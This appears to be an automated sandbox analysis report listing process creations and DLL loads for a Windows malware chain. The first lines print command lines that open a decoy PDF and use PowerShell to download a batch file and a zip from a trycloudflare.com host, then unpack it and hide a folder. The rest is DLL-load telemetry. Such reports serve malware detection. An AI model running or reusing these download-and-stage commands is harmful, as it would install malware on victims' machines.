Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe python.exe momentomo.py	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://ride-fatal-italic-information.trycloudflare.com/kbsfaw.pdf	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://ride-fatal-italic-information.trycloudflare.com/startupppp.bat' -OutFile 'C:\Users\user\Downloads\startupppp.bat' }"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://ride-fatal-italic-information.trycloudflare.com/FTSP.zip' -OutFile 'C:\Users\user\Downloads\FTSP.zip' }"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { Expand-Archive -Path 'C:\Users\user\Downloads\FTSP.zip' -DestinationPath 'C:\Users\user\Downloads' -Force }"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +h "C:\Users\user\Downloads\Print"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2032 --field-trial-handle=1996,i,12952766583181054471,15823528820358115948,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe python.exe time.py	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2060 --field-trial-handle=1996,i,2645576372623155973,14039107188322789898,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8

Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apisethost.appexecutionalias.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: daxexec.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: fltlib.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: container.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: capauthz.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositorycore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\timeout.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\timeout.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: windows.storage.applicationdata.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: windows.storage.applicationdata.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: windows.storage.applicationdata.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: propsys.dll	Jump to behavior
